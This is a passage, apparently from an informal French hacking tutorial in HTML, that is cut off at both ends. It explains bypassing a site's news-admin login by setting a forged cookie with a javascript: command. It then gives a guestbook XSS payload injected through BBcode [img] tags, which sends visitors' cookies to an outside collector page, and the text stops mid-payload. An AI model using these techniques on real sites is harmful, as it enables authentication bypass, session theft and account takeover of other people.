>
  il suffit donc de mettre admin_news=true!!<br>
  pour faire cela,on fait: javascript:document.cookie=&quot;admin_news=true&quot;;<br>
  On tape n'importe quel mot de passe...Hop par magie on est connecter!!!<br>
  voila pour les news...</p>
<p>Failles xss (2) :</p>
<p>Faille du livre d'or:<br>
  Cette faille est du a l'autorisation du BBcode dans le livre d'or.<br>
  L&agrave; o&ugrave; l'on tape le message, il suffit de mettre:<br>
  [img]javascript:window.open('http://www.tonsite.fr/recup.php?cookie='